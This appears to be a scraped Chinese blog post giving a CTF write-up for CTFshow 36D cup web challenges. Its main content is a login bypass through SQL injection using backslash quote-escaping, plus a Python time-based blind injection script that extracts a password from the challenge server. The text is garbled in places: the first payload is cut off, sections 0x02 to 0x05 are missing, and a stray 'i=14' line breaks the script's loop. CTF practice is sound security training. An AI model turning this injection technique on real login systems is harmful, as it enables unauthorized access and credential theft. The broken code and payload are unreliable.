您当前的位置: 首页 > 

yu22x

暂无认证

  • 2浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

CTFshow 36D杯 web系列

yu22x 发布时间:2020-05-05 23:45:22 ,浏览量:2

0x01 WEB_你取吧

题目源码

 提示flag在/flag中 payload:?code=]=1?>

0x06 WEB_Login_Only_For_36D

经过测试用户名中只要有admin即可进行注入, 猜测sql语句为select * from users where username='$username' and password='$password' 因为过滤了引号但是留了注释符,那么我们可以用\将单引号转义 构成如下语句 select * from users where username='\' and password='||1#' 但是发现没能登录成功,看来我们需要将密码爆破出来了 经过手工尝试,发现密码字段为password并且长度为15 没有过滤if可以使用时间盲注,但是过滤了substr和ascii,我们可以right和mid代替,脚本如下

import requests
url="https://5bbdd868-4f7e-4a8e-b209-3533bea0182d.chall.ctf.show/"
k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(6,16):
    print(i)
    i=14
    
    for j in k:
        j=ord(j)
        data={
            'username':'admin\\',
            'password':'^if(ord(right(password,{0}))like({1}),sleep(2),1)#'.format(i,j)
            }
        #print(data['password'])
        try:
            r=requests.post(url,data=data,timeout=(2,2))
        except:
            flag+=chr(j)
            print(flag)
            break

登录成功即可得到flag,但是需要将得到的密码逆置 ps:需要根据自己网络进行延时的调整,不然可能会不准确

关注
打赏
1617522777
查看更多评论
立即登录/注册

微信扫码登录

0.0865s